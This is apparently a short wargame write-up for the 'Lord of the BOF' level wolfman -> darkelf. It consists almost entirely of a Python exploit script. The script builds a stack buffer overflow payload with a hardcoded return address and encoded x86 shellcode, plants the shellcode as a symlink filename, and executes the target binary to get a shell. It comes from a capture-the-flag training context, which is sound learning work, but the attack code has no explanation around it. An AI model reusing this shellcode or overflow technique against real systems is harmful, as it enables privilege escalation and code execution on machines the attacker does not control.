Wargame/Lord Of the Bof(redhat)

[Remind] LOB wolfman -> darkelf

JeonYoungSin 2019. 4. 12. 01:52

exploit.py


import os

from struct import *

p = lambda x : pack("<L" , x)

path = '/home/wolfman/darkelf'

shellAddress =  p(0xbffffb12)

payload = "A"*44+shellAddress

shellCode = "\x90"*105+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"

os.system("/bin/ln -s " + path + " " + shellCode)

os.execl("./"+shellCode,"./"+shellCode,payload)